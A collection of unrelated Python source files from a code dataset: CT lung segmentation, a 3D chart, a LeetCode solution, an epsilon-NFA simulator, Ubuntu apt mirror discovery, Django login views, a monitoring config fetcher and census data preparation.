cmap=plt.cm.gray)\r\n x.axis(\"off\")\r\n\r\nplt.show()\r\n\r\n\r\nfig = plt.figure()\r\nplt.hist(first_patient_pixels.flatten(), bins=80, color='c')\r\nplt.xlabel(\"Hounsfield Units (HU)\")\r\nplt.ylabel(\"Frequency\")\r\nplt.show()\r\n\r\n# Show some slice in the middle\r\nfig = plt.figure()\r\nplt.imshow(first_patient_pixels[67], cmap=plt.cm.gray)\r\nplt.show()\r\n\r\n\r\n\r\nprint(first_patient[0].SliceThickness)\r\n\r\nprint(first_patient[0].PixelSpacing)\r\n\r\nprint(first_patient_pixels.shape)\r\n\r\n\r\n\r\nprint(len(first_patient))\r\nprint(first_patient[0].pixel_array.shape)\r\nprint(type(first_patient))\r\n\r\nprint(len(first_patient_pixels))\r\nprint(first_patient_pixels.shape)\r\nprint(type(first_patient_pixels))\r\n\r\n\r\n\r\nimage = first_patient_pixels\r\nscan = first_patient\r\nnew_spacing=[1,1,1]\r\n\r\n\r\nspacing = np.hstack([[first_patient[0].SliceThickness], first_patient[0].PixelSpacing])\r\nspacing = np.array(spacing, dtype=np.float32)\r\nprint(spacing)\r\nprint(type(spacing))\r\n\r\nresize_factor = spacing / new_spacing\r\nprint(resize_factor, spacing, new_spacing)\r\n\r\n\r\nnew_real_shape = image.shape * resize_factor\r\nprint(new_real_shape)\r\n\r\n\r\nnew_shape = np.round(new_real_shape)\r\nprint(new_shape)\r\n\r\nreal_resize_factor = new_shape / image.shape\r\nprint(real_resize_factor)\r\n\r\n\r\nnew_spacing = spacing / real_resize_factor\r\nprint(new_spacing)\r\n\r\n\r\nimage = scipy.ndimage.interpolation.zoom(image, real_resize_factor, mode='nearest')\r\npix_resampled, spacing = image, new_spacing\r\n\r\n\r\nprint(pix_resampled.shape)\r\nprint(spacing)\r\n\r\n\r\nprint(\"Shape before resampling\\t\", first_patient_pixels.shape)\r\nprint(\"Shape after resampling\\t\", pix_resampled.shape)\r\n\r\nplot_3d(pix_resampled, 400) \r\n\r\n\r\nimage = pix_resampled\r\nprint(np.unique(image))\r\nfill_lung_structures=True\r\n# not actually binary, but 1 and 2. \r\n# 0 is treated as background, which we do not want\r\nbinary_image = np.array(image > -320, dtype=np.int8)+1\r\nprint(binary_image.shape)\r\nprint(image.shape)\r\n\r\n\r\nprint(np.unique(binary_image))\r\nprint(np.unique(image))\r\n\r\n\r\nlabels = measure.label(binary_image)\r\nprint(len([x.shape for x in labels]))\r\n\r\nprint(len(np.unique(labels)))\r\n#print(labels[1,1,1])\r\nprint(binary_image[labels == 100])\r\n \r\n# Pick the pixel in the very corner to determine which label is air.\r\n# Improvement: Pick multiple background labels from around the patient\r\n# More resistant to \"trays\" on which the patient lays cutting the air \r\n# around the person in half\r\nbackground_label = labels[0,0,0]\r\nprint(background_label)\r\n\r\n \r\n#Fill the air around the person\r\nbinary_image[background_label == labels] = 2\r\nz = measure.label(binary_image)\r\nprint(len(np.unique(z)))\r\nprint(binary_image[z == 100])\r\n \r\n\r\nfor i, x in enumerate(binary_image):\r\n print(i,x.shape)\r\n print(np.unique(measure.label(x-1), return_counts=True))\r\n #print(measure.label(x-1)[0].shape)\r\n #print(measure.label(x-1)[1].shape)\r\n \r\n \r\n \r\n# Method of filling the lung structures (that is superior to something like \r\n# morphological closing)\r\nif fill_lung_structures:\r\n # For every slice we determine the largest solid structure\r\n for i, axial_slice in enumerate(binary_image):\r\n axial_slice = axial_slice - 1\r\n labeling = measure.label(axial_slice)\r\n\r\n #####\r\n im = labeling\r\n bg = 0\r\n vals, counts = np.unique(im, return_counts=True)\r\n print(vals,counts)\r\n counts = counts[vals != bg]\r\n vals = vals[vals != bg]\r\n\r\n if len(counts) > 0:\r\n l_max = vals[np.argmax(counts)]\r\n else:\r\n l_max = None \r\n \r\n #####\r\n \r\n if l_max is not None: #This slice contains some lung\r\n binary_image[i][labeling != l_max] = 1\r\n\r\n \r\nbinary_image -= 1 #Make the image actual binary\r\nbinary_image = 1-binary_image # Invert it, lungs are now 1\r\n \r\n# Remove other air pockets insided body\r\nlabels = measure.label(binary_image, background=0)\r\nl_max = largest_label_volume(labels, bg=0)\r\nif l_max is not None: # There are air pockets\r\n binary_image[labels != l_max] = 0\r\n \r\nsegmented_lungs = binary_image\r\n\r\n\r\nplot_3d(segmented_lungs, 0)\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef load_scan(path):\r\n slices = [dicom.read_file(path + '/' + s) for s in os.listdir(path)]\r\n slices.sort(key = lambda x: float(x.ImagePositionPatient[2]))\r\n try:\r\n slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2])\r\n except:\r\n slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation)\r\n \r\n for s in slices:\r\n s.SliceThickness = slice_thickness\r\n \r\n return slices\r\n\r\n\r\n\r\ndef get_pixels_hu(slices):\r\n image = np.stack([s.pixel_array for s in slices])\r\n # Convert to int16 (from sometimes int16), \r\n # should be possible as values should always be low enough (<32k)\r\n image = image.astype(np.int16)\r\n\r\n # Set outside-of-scan pixels to 0\r\n # The intercept is usually -1024, so air is approximately 0\r\n image[image == -2000] = 0\r\n \r\n # Convert to Hounsfield units (HU)\r\n for slice_number in range(len(slices)):\r\n \r\n intercept = slices[slice_number].RescaleIntercept\r\n slope = slices[slice_number].RescaleSlope\r\n \r\n if slope != 1:\r\n image[slice_number] = slope * image[slice_number].astype(np.float64)\r\n image[slice_number] = image[slice_number].astype(np.int16)\r\n \r\n image[slice_number] += np.int16(intercept)\r\n \r\n return np.array(image, dtype=np.int16)\r\n\r\n\r\n\r\n\r\n\r\ndef resample(image, scan, new_spacing=[1,1,1]):\r\n # Determine current pixel spacing\r\n #spacing = np.array(np.array(scan[0].SliceThickness) + np.array(scan[0].PixelSpacing[0]), dtype=np.float32)\r\n\r\n spacing = np.hstack([[scan[0].SliceThickness], scan[0].PixelSpacing])\r\n resize_factor = spacing / new_spacing\r\n new_real_shape = image.shape * resize_factor\r\n new_shape = np.round(new_real_shape)\r\n real_resize_factor = new_shape / image.shape\r\n new_spacing = spacing / real_resize_factor\r\n \r\n image = scipy.ndimage.interpolation.zoom(image, real_resize_factor, mode='nearest')\r\n \r\n return image, new_spacing\r\n\r\n\r\n\r\npix_resampled, spacing = resample(first_patient_pixels, first_patient, [1,1,1])\r\nprint(\"Shape before resampling\\t\", first_patient_pixels.shape)\r\nprint(\"Shape after resampling\\t\", pix_resampled.shape)\r\n\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\ndef segment_lung_mask(image, fill_lung_structures=True):\r\n \r\n # not actually binary, but 1 and 2. \r\n # 0 is treated as background, which we do not want\r\n binary_image = np.array(image > -320, dtype=np.int8)+1\r\n labels = measure.label(binary_image)\r\n \r\n # Pick the pixel in the very corner to determine which label is air.\r\n # Improvement: Pick multiple background labels from around the patient\r\n # More resistant to \"trays\" on which the patient lays cutting the air \r\n # around the person in half\r\n background_label = labels[0,0,0]\r\n \r\n #Fill the air around the person\r\n binary_image[background_label == labels] = 2\r\n \r\n \r\n # Method of filling the lung structures (that is superior to something like \r\n # morphological closing)\r\n if fill_lung_structures:\r\n # For every slice we determine the largest solid structure\r\n for i, axial_slice in enumerate(binary_image):\r\n axial_slice = axial_slice - 1\r\n labeling = measure.label(axial_slice)\r\n l_max = largest_label_volume(labeling, bg=0)\r\n \r\n if l_max is not None: #This slice contains some lung\r\n binary_image[i][labeling != l_max] = 1\r\n\r\n \r\n binary_image -= 1 #Make the image actual binary\r\n binary_image = 1-binary_image # Invert it, lungs are now 1\r\n \r\n # Remove other air pockets insided body\r\n labels = measure.label(binary_image, background=0)\r\n l_max = largest_label_volume(labels, bg=0)\r\n if l_max is not None: # There are air pockets\r\n binary_image[labels != l_max] = 0\r\n \r\n return binary_image\r\n\r\nsegmented_lungs = segment_lung_mask(pix_resampled, False)\r\nsegmented_lungs_fill = segment_lung_mask(pix_resampled, True)\r\n\r\n\r\nplot_3d(segmented_lungs_fill, 0)\r\nplot_3d(segmented_lungs_fill - segmented_lungs, 0)\r\n\r\n\r\n\r\n\r\n","sub_path":"LearnKaggleLungDetectionDicom.py","file_name":"LearnKaggleLungDetectionDicom.py","file_ext":"py","file_size_in_byte":13746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"154040612","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.style\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import cm\r\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\nplt.style.use(\"seaborn-muted\")\r\n\r\ndf = pd.read_csv(\"Optimize.csv\").iloc[:, :-1]\r\ndata = df.values\r\n\r\ndf = df.sort_values(by=['Percent of 10D Avg'])\r\ngrouped = df.groupby([\"NR Days\"])\r\n\r\nx, y, z = [], [], []\r\n\r\nfor name, group in grouped:\r\n x.append(group.iloc[:, 2].tolist())\r\n y.append(group.iloc[:, 1].tolist())\r\n z.append(group.iloc[:, 0].tolist())\r\n\r\nx, y, z = np.array(x), np.array(y), np.array(z)\r\n\r\ncolumns = df.columns.tolist()\r\ndef get_lims(l):\r\n return (np.min(l), np.max(l))\r\n\r\ncolor_map = cm.jet\r\n\r\n\r\nfig = plt.figure(figsize=(20, 10))\r\n\r\nax = fig.gca(projection='3d')\r\nax.xaxis._axinfo['label']['space_factor'] = 10\r\n\r\nsurf = ax.plot_surface(x, y, z, cmap=cm.jet, linewidth=0.2, antialiased=True, edgecolor=\"black\", shade=True)\r\n\r\n\r\nax.set_xlabel(columns[2],fontsize=20)\r\nax.set_ylabel(columns[1],fontsize=20)\r\nax.set_zlabel(columns[0],fontsize=20)\r\n\r\n\r\nax.set_xlim(get_lims(data[:, 2]))\r\nax.set_ylim(get_lims(data[:, 1]))\r\nax.set_zlim(get_lims(data[:, 0]))\r\n\r\nax.set_xticks(np.arange(np.min(data[:, 2]), np.max(data[:, 2]), 1))\r\nax.set_xticklabels(map(lambda x: \"{:.0f}\".format(x), np.arange(np.min(data[:, 2]), np.max(data[:, 2]), 1)), fontsize=10)\r\n\r\nax.set_yticks(np.arange(0.1, 1.05, 0.05))\r\nax.set_yticklabels(map(lambda x: \"{:.2f}\".format(x), np.arange(0.1, 1.05, 0.05)), fontsize=8)\r\n\r\nax.set_zticks(np.arange(0, np.max(data[:, 0]), 0.2))\r\nax.set_zticklabels(map(lambda x: \"{:.1f}\".format(x), np.arange(0, np.max(data[:, 0]), 0.2)), fontsize=10)\r\n\r\nax.view_init(50, -20)\r\n\r\nax.xaxis.labelpad=30\r\nax.yaxis.labelpad=30\r\n\r\nfig.colorbar(surf, ax=ax, shrink=0.5, aspect=5)\r\n\r\n\r\n\r\nplt.show()\r\n","sub_path":"3dchart.py","file_name":"3dchart.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"452286987","text":"\"\"\"441. Arranging Coins\n\nYou have a total of n coins that you want to form in a staircase shape, where every k-th row must have exactly k coins.\n\nGiven n, find the total number of full staircase rows that can be formed.\n\nn is a non-negative integer and fits within the range of a 32-bit signed integer.\n\nExample 1:\n\nn = 5\n\nThe coins can form the following rows:\n¤\n¤ ¤\n¤ ¤\n\nBecause the 3rd row is incomplete, we return 2.\n\"\"\"\nclass Solution:\n def arrangeCoins(self, n: int) -> int:\n \"\"\"\n binary search res where\n (1+res)*res/2 <= n, 1<= res <= n\n \"\"\"\n if n < 1:\n return 0\n left, right = 1, n\n while left <= right:\n tmp = (left+right)//2\n cur = tmp * (tmp + 1)\n if cur == 2*n:\n return tmp\n elif cur > 2*n:\n right = tmp - 1\n else:\n left = tmp + 1\n return right\n\"\"\"\nalso see 35\n\"\"\"","sub_path":"leetcode_pop_q/441_Easy_Arranging_Coins.py","file_name":"441_Easy_Arranging_Coins.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"302380392","text":"def remove_repetidos(lista): # Funcao que remove elementos repetidos do conjunto\n l = [] # gerados apos o processo de uniao\n for i in lista:\n if i not in l:\n l.append(i)\n return l\n \ndef e_fecho(estados):\n global regras\n\n efecho = []\n temp = estados\n\n for est in temp:\n efecho.append(est)\n for regra in regras:\n if regra[0] == est:\n if regra[1] == 'E':\n efecho = efecho + regra[2]\n for r in regra[2]: # for garante que nao vai ser comparado lista com string\n if r not in temp:\n temp.append(r)\n\n efecho = remove_repetidos(efecho)\n \n return efecho\n\ndef gera_ram(estado,entrada): \n global index\n global estAtual_2\n global flag\n global estFin\n global handler\n\n \n handler.write(\"Chegou em: \"+ estado+ \"\\n\")\n handler.write(\"e_fecho de:\"+ estado+ \" =\"+ str(e_fecho([estado]))+\"\\n\")\n\n estAtual_2 = estado\n for i in range(len(estFin)):\n if estFin[i] in e_fecho([estado]) and index == len(entrada):\n flag = 1\n handler.write(\"E - Estado alterado de \" + str(estado) + \" para \" + estFin[i]+ \"\\n\")\n return\n\n if index != len(entrada):\n \n for regra in regras:\n \n if entrada[index] == regra[1]:\n if estado == regra[0]:\n handler.write(str(entrada[index]) + \" - Estado alterado de \" + str(estado) + \" para \" + str(regra[2])+\"\\n\")\n\n estAtual = regra[2]\n \n for k in range(len(estAtual)):\n estAtual_2 = estAtual[k]\n index = index + 1\n gera_ram(estAtual_2,entrada)\n index = index - 1\n handler.write(\"\\nBacktrack\\n\")\n if regra[1] == 'E':\n if estado == regra[0]:\n handler.write(\"E - Estado alterado de \" + str(estado) + \" para \" + str(regra[2]))\n\n estAtual = regra[2]\n\n for k in range(len(estAtual)):\n estAtual_2 = estAtual[k]\n gera_ram(estAtual_2,entrada)\n handler.write(\"\\nBacktrack\\n\")\n\n elif estAtual_2 in estFin:\n flag = 1\n return\n \n\n\ndef afne(entrada):\n global handler\n global estFin\n global index\n global flag\n global regras\n\n handler = open(\"automato_ndetE.txt\",\"r\")\n \n linhas = handler.readlines()\n handler.close()\n\n alfabeto = []\n for elemento in linhas[0]:\n if elemento != '\\n':\n alfabeto.append(elemento)\n\n\n estados = linhas[1].split() # Leitura de dados\n\n estIni = linhas[2].split()\n\n estFin = linhas[3].split()\n\n qnt_regras = len(linhas) - 4\n\n regras = []\n for i in range(4,len(linhas)): # Do que foi lido no arquivo, aqui se pega as regras\n regras.append(linhas[i].split())\n\n for i in range(0,qnt_regras):\n aux = regras[i]\n aux2 = aux[2].split(\",\")\n del(aux[2])\n aux.append(aux2)\n regras[i] = aux\n\n\n handler = open(\"resultado.txt\",\"w\")\n \n handler.write(\"Alfabeto: \" + str(alfabeto) + \"\\n\" + \"Estados: \" +\n str(estados) + \"\\n\" + \"Estado Inicial: \" + str(estIni) + \"\\n\" + \n \"Estado(s) Final(is): \" + str(estFin) + \"\\n\" + \"\\nRegras: \" + \"\\n\")\n\n\n for i in range(0,qnt_regras):\n aux = regras[i]\n handler.write(str(i+1) + \") \" + \"(\" + str(aux[0]) + \",\" + str(aux[1]) + \") = \" + str(aux[2]) + \"\\n\")\n\n handler.write(\"\\n\")\n\n\n for i in range(0,len(entrada)): # Percorre os elementos do caso teste atual\n elemAtual = entrada[i]\n if elemAtual not in alfabeto:\n # Verifica se todos os elementos do caso atual \n # pertencem ao alfabeto\n \n handler.write(\"O caso teste possui elemento(s) que nao esta(o) no alfabeto!\")\n handler.close()\n exit()\n\n handler.write(entrada + \"\\n\")\n\n handler.write('\\n')\n \n index = 0\n flag = 0\n \n gera_ram(estIni[0],entrada)\n\n if flag == 0:\n handler.write(entrada+ \" -> Rejeitado pelo automato!\")\n elif flag == 1:\n handler.write(entrada+ \" -> Aceito pelo automato!\")\n\n\n handler.close()\n","sub_path":"LFA/Trabalho 1 e 2 Definitivo/AFNE.py","file_name":"AFNE.py","file_ext":"py","file_size_in_byte":4659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"616178874","text":"# Automated, robust apt-get mirror selection for Debian and Ubuntu.\n#\n# Author: Peter Odding \n# Last Change: June 10, 2017\n# URL: https://apt-mirror-updater.readthedocs.io\n\n\"\"\"Discovery of Ubuntu package archive mirrors.\"\"\"\n\n# Standard library modules.\nimport logging\n\n# External dependencies.\nfrom bs4 import BeautifulSoup\nfrom humanfriendly import Timer, format, pluralize\n\n# Modules included in our package.\nfrom apt_mirror_updater import CandidateMirror\nfrom apt_mirror_updater.http import fetch_url\n\nUBUNTU_MIRRORS_URL = 'https://launchpad.net/ubuntu/+archivemirrors'\n\"\"\"The URL of the HTML page listing official Ubuntu mirrors (a string).\"\"\"\n\nUBUNTU_SECURITY_URL = 'http://security.ubuntu.com/ubuntu'\n\"\"\"The URL where Ubuntu security updates are hosted (a string).\"\"\"\n\nUBUNTU_MIRROR_STATUSES = (\n ('Up to date', 0),\n ('One hour behind', 60 * 60),\n ('Two hours behind', 60 * 60 * 2),\n ('Four hours behind', 60 * 60 * 4),\n ('Six hours behind', 60 * 60 * 6),\n ('One day behind', 60 * 60 * 24),\n ('Two days behind', 60 * 60 * 24 * 2),\n ('One week behind', 60 * 60 * 24 * 7),\n ('Unknown', None),\n)\nr\"\"\"\nA tuple of tuples with Launchpad mirror statuses. Each tuple consists of two values:\n\n1. The human readable mirror latency (a string) as used on :data:`UBUNTU_MIRRORS_URL`.\n2. The mirror latency expressed in seconds (a number).\n\nThe 'known statuses' used by Launchpad were checked as follows:\n\n.. code-block:: sh\n\n $ curl -s https://launchpad.net/+icing/rev18391/combo.css | tr '{},.' '\\n' | grep distromirrorstatus\n distromirrorstatusUP\n distromirrorstatusONEHOURBEHIND\n distromirrorstatusTWOHOURSBEHIND\n distromirrorstatusFOURHOURSBEHIND\n distromirrorstatusSIXHOURSBEHIND\n distromirrorstatusONEDAYBEHIND\n distromirrorstatusTWODAYSBEHIND\n distromirrorstatusONEWEEKBEHIND\n distromirrorstatusUNKNOWN\n\"\"\"\n\nVALID_UBUNTU_COMPONENTS = 'main', 'restricted', 'universe', 'multiverse'\n\"\"\"A tuple of strings with the names of the components available in the Ubuntu package repositories.\"\"\"\n\nVALID_UBUNTU_SUITES = 'release', 'security', 'updates', 'backports', 'proposed'\n\"\"\"\nA tuple of strings with the names of the suites available in the Ubuntu package\nrepositories.\n\nThe actual name of the 'release' suite is the codename of the relevant Ubuntu\nrelease, while the names of the other suites are formed by concatenating the\ncodename with the suite name (separated by a dash).\n\nAs an example to make things more concrete, Ubuntu 16.04 has the following five\nsuites available: ``xenial`` (this is the release suite), ``xenial-security``,\n``xenial-updates``, ``xenial-backports`` and ``xenial-proposed``.\n\"\"\"\n\nDEFAULT_UBUNTU_SUITES = 'release', 'updates', 'backports', 'security'\n\"\"\"A tuple of strings with the Ubuntu suites that are enabled by default.\"\"\"\n\n# Initialize a logger for this program.\nlogger = logging.getLogger(__name__)\n\n\ndef discover_mirrors():\n \"\"\"\n Discover available Ubuntu mirrors by querying :data:`UBUNTU_MIRRORS_URL`.\n\n :returns: A set of :class:`.CandidateMirror` objects that have their\n :attr:`~.CandidateMirror.mirror_url` property set and may have\n the :attr:`~.CandidateMirror.last_updated` property set.\n :raises: If no mirrors are discovered an exception is raised.\n\n An example run:\n\n >>> from apt_mirror_updater.backends.ubuntu import discover_mirrors\n >>> from pprint import pprint\n >>> pprint(discover_mirrors())\n set([CandidateMirror(mirror_url='http://archive.ubuntu.com/ubuntu/'),\n CandidateMirror(mirror_url='http://ftp.nluug.nl/os/Linux/distr/ubuntu/'),\n CandidateMirror(mirror_url='http://ftp.snt.utwente.nl/pub/os/linux/ubuntu/'),\n CandidateMirror(mirror_url='http://ftp.tudelft.nl/archive.ubuntu.com/'),\n CandidateMirror(mirror_url='http://mirror.1000mbps.com/ubuntu/'),\n CandidateMirror(mirror_url='http://mirror.amsiohosting.net/archive.ubuntu.com/'),\n CandidateMirror(mirror_url='http://mirror.i3d.net/pub/ubuntu/'),\n CandidateMirror(mirror_url='http://mirror.nforce.com/pub/linux/ubuntu/'),\n CandidateMirror(mirror_url='http://mirror.nl.leaseweb.net/ubuntu/'),\n CandidateMirror(mirror_url='http://mirror.transip.net/ubuntu/ubuntu/'),\n ...])\n \"\"\"\n timer = Timer()\n mirrors = set()\n logger.info(\"Discovering available Ubuntu mirrors (using %s) ..\", UBUNTU_MIRRORS_URL)\n response = fetch_url(UBUNTU_MIRRORS_URL, retry=True)\n soup = BeautifulSoup(response, 'html.parser')\n for table in soup.findAll('table'):\n for tr in table.findAll('tr'):\n for a in tr.findAll('a', href=True):\n # Check if the link looks like a mirror URL.\n if (a['href'].startswith(('http://', 'https://')) and\n a['href'].endswith('/ubuntu/')):\n # Try to figure out the mirror's reported latency.\n last_updated = None\n text = u''.join(tr.findAll(text=True))\n for status_label, num_seconds in UBUNTU_MIRROR_STATUSES:\n if status_label in text:\n last_updated = num_seconds\n break\n # Add the mirror to our overview.\n mirrors.add(CandidateMirror(\n mirror_url=a['href'],\n last_updated=last_updated,\n ))\n # Skip to the next row.\n break\n if not mirrors:\n raise Exception(\"Failed to discover any Ubuntu mirrors! (using %s)\" % UBUNTU_MIRRORS_URL)\n logger.info(\"Discovered %s in %s.\", pluralize(len(mirrors), \"Ubuntu mirror\"), timer)\n return mirrors\n\n\ndef generate_sources_list(mirror_url, codename,\n suites=DEFAULT_UBUNTU_SUITES,\n components=VALID_UBUNTU_COMPONENTS,\n enable_sources=False):\n \"\"\"\n Generate the contents of ``/etc/apt/sources.list`` for an Ubuntu system.\n\n :param mirror_url: The base URL of the mirror (a string).\n :param codename: The codename of the Ubuntu release (a string like 'trusty' or 'xenial').\n :param suites: An iterable of strings (defaults to\n :data:`DEFAULT_UBUNTU_SUITES`, refer to\n :data:`VALID_UBUNTU_SUITES` for details).\n :param components: An iterable of strings (refer to\n :data:`VALID_UBUNTU_COMPONENTS` for details).\n :param enable_sources: :data:`True` to include ``deb-src`` entries,\n :data:`False` to omit them.\n :returns: The suggested contents of ``/etc/apt/sources.list`` (a string).\n \"\"\"\n lines = []\n directives = ('deb', 'deb-src') if enable_sources else ('deb',)\n for suite in suites:\n for directive in directives:\n lines.append(format(\n '{directive} {mirror} {suite} {components}', directive=directive,\n mirror=(UBUNTU_SECURITY_URL if suite == 'security' else mirror_url),\n suite=(codename if suite == 'release' else codename + '-' + suite),\n components=' '.join(components),\n ))\n return '\\n'.join(lines)\n","sub_path":"apt_mirror_updater/backends/ubuntu.py","file_name":"ubuntu.py","file_ext":"py","file_size_in_byte":7242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"311175398","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom . import store\n\n\ndef index(request):\n return render(request, 'index.html')\n\n\ndef logout_request(request):\n store.removeUser(request.session[\"user\"]);\n request.session[\"user\"] = None;\n return render(request=request,\n template_name=\"index.html\")\n\n\ndef login_request(request):\n if request.method == 'POST':\n username = request.POST.get('user_name')\n if (store.isUserPresent(username)):\n print(username + \" already present\")\n return render(request,\n \"index.html\",\n {\"error\": True})\n else:\n print(username + \" is not not present, inserting\")\n store.addUser(username);\n request.session[\"user\"] = username;\n return render(request,\n \"home.html\",\n {\"user\": username})\n","sub_path":"Calculations/CalcAssessment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"413972635","text":"#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n__author__ = \"BIGNI\"\n__date__ = \"2017/4/29 16:34\"\nimport traceback\n\nfrom django.views.generic import View\n\nfrom .models import Host\n\n\nclass ClientHandler(View):\n #初始化\n def __init__(self,client_id):\n self.client_id = client_id\n #client配置\n self.client_configs = {\n \"services\":{}\n }\n\n\n def fetch_configs(self):\n\n try:\n\n host_obj_id = Host.objects.get(id=self.client_id)\n print(\">>>>>>>>>\",host_obj_id)\n #获取模板list\n template_list = list(host_obj_id.templates.select_related())\n print(\">>>>\",template_list)\n #获取主机组obj\n\n # host_group_obj = host_obj_id.host_groups.select_related()\n #把主机组下的目标添加进来\n for host_group in host_obj_id.host_groups.select_related():\n template_list.extend(host_group.templates.select_related())\n print(\"--->\",template_list)\n #获取服务列表\n for template in template_list:\n for service in template.services.select_related():\n print(service)\n #获取插件名和间隔时间\n self.client_configs['services'][service.name] = [service.plugin_name,service.interval]\n\n except:\n traceback.print_exc()\n return self.client_configs\n\n","sub_path":"apps/monitor/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"143755518","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 12 00:15:49 2019\n\n@author: dusty\n\nDustin Burnham\nData Science 400\n2/12/2019\nMilestone Project 2: Data Preparation\n\"\"\"\n\nfrom sklearn.preprocessing import MinMaxScaler\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 1. Read in the data from a freely available source on the internet. \nurl = 'https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data'\nnames = ['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status',\n 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss',\n 'hours-per-week', 'native-country', 'income']\n\ncensus = pd.read_csv(url, header=None)\n\n# Assign names\ncensus.columns = names\n\n# 2. Account for outlier values in numeric columns (at least 1 column).\n# Replace outliers for age with the median.\ndef replace_outliers(df, col):\n \"\"\"\n Input: dataframe\n Output: dataframe where the outliers have been replaced by the median of \n that column.\n \n I will check to see which values meet the conditions that they fall\n between +- 2 standardard deviations of the means. i will use the tilda\n to pick out the outliers and replace them with the median.\n \"\"\"\n \n high = np.mean(df[col]) + 2 * np.std(df[col])\n low = np.mean(df[col]) - 2 * np.std(df[col])\n FlagGood = (df.loc[:, col] < high) & (df.loc[:, col] > low)\n df.loc[~FlagGood,col] = np.median(df[col])\n return(df)\n \ncensus = replace_outliers(census, \"age\")\n\n# 3. Replace missing numeric data (at least 1 column).\n# Replace missing numeric data from the hours-per-week attribute\n# with the median hours worked per week.\ndef replace_median(df, col):\n \"\"\"\n Input: dataframe, column where values will be replaced. \n Output: dataframe with median values replacing the missing values.\n \n First we will coerce the column to be numeric, where all errors\n wll be replace with a nan. Next we find the missing values using the\n np.isnan() function which returns a boolean array that picks out those values.\n Finally we replace those nan's with the median of the non-missing entries.\n \"\"\"\n df.loc[:, col] = pd.to_numeric(df.loc[:, col], errors='coerce')\n HasNan = np.isnan(df.loc[:,col])\n df.loc[HasNan, col] = np.nanmedian(df.loc[:, col])\n return(df)\n \ncensus = replace_outliers(census, \"hours-per-week\")\n\n# After replacing missing numerical values in hours-per-week, I will remove the \n# remaining \"?\" values by replacing them with nan and then using the dropna\n# function to remove all rows with any nan.\ncensus = census.replace(\" ?\", float(\"nan\"))\ncensus = census.dropna(axis=0)\n\n# 4. Normalize numeric values (at least 1 column, but be consistent with numeric data).\n# I will normalize the age and hours column for plotting on a histogram.\n# All values will be between 0 and 1.\ndef MinMaxNorm(df, col):\n \"\"\"\n Input: dataframe name, column name\n Output: Array of normalized values using (x - max(x))/(max(x) - min(x))\n formula to feature scale the column.\n \"\"\"\n \n col_tmp = df.loc[:, col]\n MinMax = (col_tmp - min(col_tmp)) / (max(col_tmp) - min(col_tmp))\n return(MinMax)\n \nMinMaxAge = MinMaxNorm(census, 'age')\nMinMaxHours = MinMaxNorm(census, 'hours-per-week')\n\ncensus.loc[:, \"min-max-age\"] = MinMaxAge\ncensus.loc[:, \"min-max-hours\"] = MinMaxHours\n\n#plt.hist(MinMaxAge)\n#plt.hist(MinMaxHours)\n\n# 5. Bin numeric variables (at least 1 column).\n# I will bin age into young, middle-aged, and senior buckets. This\n# will turn numerical data into categorical data. Column will be replaced.\nage = census.loc[:, 'age']\n\n# Determine boundaries\nbins = 3\nBinWidth = (max(age) - min(age)) / bins\nMinBin1 = float('-inf')\nMaxBin1 = min(age) + BinWidth\nMaxBin2 = min(age) + 2 * BinWidth\nMaxBin3 = float('inf')\n\n# Assign values to new bins. Replace former age column with new values.\neqBinnedAge = np.empty(len(age), object)\neqBinnedAge[(MinBin1 < age) & (age <= MaxBin1)] = \"young\"\neqBinnedAge[(MaxBin1 < age) & (age <= MaxBin2)] = \"middle-aged\"\neqBinnedAge[(MaxBin2 < age) & (age <= MaxBin3)] = \"senior\"\n\ncensus.loc[:, 'age'] = eqBinnedAge\n\n# 6. Consolidate categorical data (at least 1 column).\n# Consolidate marital-status into married or not married.\nmarried = census.loc[:, 'marital-status']\nMarriedOrNot = np.empty(len(married), object)\nMarriedOrNot[married == \" Married-civ-spouse\"] = 'Married'\nMarriedOrNot[married != \" Married-civ-spouse\"] = 'Not Married'\ncensus.loc[:, 'marital-status'] = MarriedOrNot\n\n# 7. One-hot encode categorical data with at least 3 categories (at least 1 column).\n# One hot encode the race categorical variable, giving each race its own\n# attribute of 1s and 0s for analsis.\ncensus.loc[:, \"White\"] = (census.loc[:, \"race\"] == \" White\").astype(int)\ncensus.loc[:, \"Black\"] = (census.loc[:, \"race\"] == \" Black\").astype(int)\ncensus.loc[:, \"Asian-Pac-Islander\"] = (census.loc[:, \"race\"] == \" Asian-Pac-Islander\").astype(int)\ncensus.loc[:, \"Amer-Indian-Eskimo\"] = (census.loc[:, \"race\"] == \" Amer-Indian-Eskimo\").astype(int)\ncensus.loc[:, \"Other\"] = (census.loc[:, \"race\"] == \" Other\").astype(int)\n\n# 8. Remove obsolete columns (race). Other columns like marital status and\n# age 